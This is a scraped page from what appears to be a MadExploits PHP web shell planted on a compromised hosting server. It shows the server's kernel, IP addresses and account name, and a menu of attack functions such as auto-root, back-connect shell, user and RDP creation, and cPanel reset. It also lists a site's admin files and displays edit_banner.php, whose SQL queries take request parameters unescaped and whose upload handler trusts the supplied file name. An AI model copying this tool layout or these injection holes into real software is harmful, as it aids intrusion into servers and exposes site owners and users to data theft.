Linux server64.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
: 198.54.115.120 | : 216.73.216.96
Cant Read [ /etc/named.conf ]
5.6.40
midwsfoc
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
midwsfoc /
swift-xpc.com /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
functions
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
.htaccess
4.65
KB
-rw-r--r--
.mad-root
0
B
-rw-r--r--
01admin.zip
112.24
KB
-rw-r--r--
add_user.php
11.21
KB
-rw-r--r--
banner.php
1.41
KB
-rw-r--r--
db.php
30
B
-rw-r--r--
delete.php
357
B
-rw-r--r--
delete_banner.php
736
B
-rw-r--r--
delete_post.php
960
B
-rw-r--r--
delete_user.php
991
B
-rw-r--r--
edit_banner.php
3.38
KB
-rw-r--r--
edit_post.php
11.55
KB
-rw-r--r--
edit_post2.php
5.62
KB
-rw-r--r--
edit_user.php
13.09
KB
-rw-r--r--
editsettings.php
2.61
KB
-rw-r--r--
error_log
54.03
KB
-rw-r--r--
function_users.php
6.8
KB
-rw-r--r--
functions.php
10.92
KB
-rw-r--r--
home.php
6.62
KB
-rw-r--r--
index.php
56
B
-rw-r--r--
insert_banners.php
3.07
KB
-rw-r--r--
insert_post.php
9.63
KB
-rw-r--r--
login.php
1.57
KB
-rw-r--r--
login_admin.php
3.11
KB
-rw-r--r--
logout.php
164
B
-rw-r--r--
member.php
17.64
KB
-rw-r--r--
payment_setting.php
2.97
KB
-rw-r--r--
picupload.php
2.12
KB
-rw-r--r--
post.php
2.02
KB
-rw-r--r--
posts.php
2.94
KB
-rw-r--r--
print_shipment.php
1.91
KB
-rw-r--r--
register_admin.php
8.45
KB
-rw-r--r--
remove_amount.php
1.01
KB
-rw-r--r--
searchmembers.php
2.94
KB
-rw-r--r--
send_email.php
5.02
KB
-rw-r--r--
testimony.php
3.15
KB
-rw-r--r--
upload_files.php
2.59
KB
-rw-r--r--
user_error.php
188
B
-rw-r--r--
user_withdrawal.php
4.99
KB
-rw-r--r--
view_admin.php
2.84
KB
-rw-r--r--
view_banners.php
2.4
KB
-rw-r--r--
view_posts.php
2.85
KB
-rw-r--r--
view_referrals_bonus.php
2.83
KB
-rw-r--r--
view_users.php
4.78
KB
-rw-r--r--
viewconversation.php
5.37
KB
-rw-r--r--
viewmessage.php
2.4
KB
-rw-r--r--
viewmessages.php
4.24
KB
-rw-r--r--
website_setting.php
3.09
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : edit_banner.php
<?php include("includes/header.php"); include("includes/navbar.php"); ?> <head> <title> Edit banner</title> </head> <div class="row"> <div class="col-12"> <div class="card"> <div class="card-header"> <h4 class="card-title">Edit Notification </h4> </div> <div class="col-md-7"> <?php if(isset($_GET['id'])){ $id = $_GET['id']; $sql= "SELECT * FROM banners WHERE id ='$id' "; $run = mysqli_query($con,$sql); while($row= mysqli_fetch_array($run)){ $id = $row['id']; $banner_text = $row['banner_text']; $banner_position = $row['banner_position']; $banner_status = $row['banner_status']; $banner_image = $row['banner_image']; $banner_type = $row['banner_type']; ?> <div id="form"> <form method="post" id= "myform" action="" enctype="multipart/form-data"> <textarea name="text" cols="20" rows="4" class="form-control"><?php echo $banner_text; ?></textarea> </label> <br/> <label> <span>Post Image:</span> <?php if($banner_image!=""){ ?> <br/><img src="../banners/<?php echo $banner_image; ?>" width="200"> <br/> <?php } ?> <input type="file" name="image" class="form-control" > <br/> <label> <span>status:</span><br/> <select name ="status" class="form-control" > <option value="<?php echo $banner_status; ?>"><?php echo $banner_status; ?></option> <option value="on"> on</option> <option value="off"> off</option> </select> </label> <br/> <label> <span></span> <input type="submit" name="submit" class="btn btn-warning" value="Edit banner" > </label> </form> </div> <?php if(isset($_POST['submit'])){ $banner_position = $_POST['position']; $banner_status = $_POST['status']; $banner_type = $_POST['type']; $banner_text = mysql_escape_string($_POST['text']); $banner_image = mysql_escape_string($_FILES['image']['name']); $errors= array(); $file_name = $_FILES['image']['name']; $file_size =$_FILES['image']['size']; $file_tmp =$_FILES['image']['tmp_name']; $file_type=$_FILES['image']['type']; $file_ext=strtolower(end(explode('.',$_FILES['image']['name']))); $expensions= array("jpeg","jpg","png"); if(in_array($file_ext,$expensions)=== false){ $errors[]="extension not allowed, please choose a JPEG or PNG file."; } if($file_size > 2097152){ $errors[]='File size must be excately 2 MB'; } if(empty($errors)==true){ move_uploaded_file($file_tmp,"../banners/".$file_name); }else{ echo "image not inserted"; } $id = $_GET['id']; if($file_name==""){ $sql2="UPDATE banners SET banner_text ='$banner_text', banner_position='$banner_position', banner_status='$banner_status', banner_type='$banner_type' WHERE id='$id' "; } else{ $sql2="UPDATE banners SET banner_text ='$banner_text', banner_position='$banner_position', banner_status='$banner_status', banner_type='$banner_type', banner_image='$file_name' WHERE id='$id' "; } $run2 =mysqli_query($con,$sql2); echo $id; if($run2){ ?> <script type="text/javascript"> window.location.href = "view_banners.php?pageno=1" </script> <?php } else{ echo"<h4>sorry, post not edited</h4>"; } } } } ?> <?php include("includes/footer.php");
Close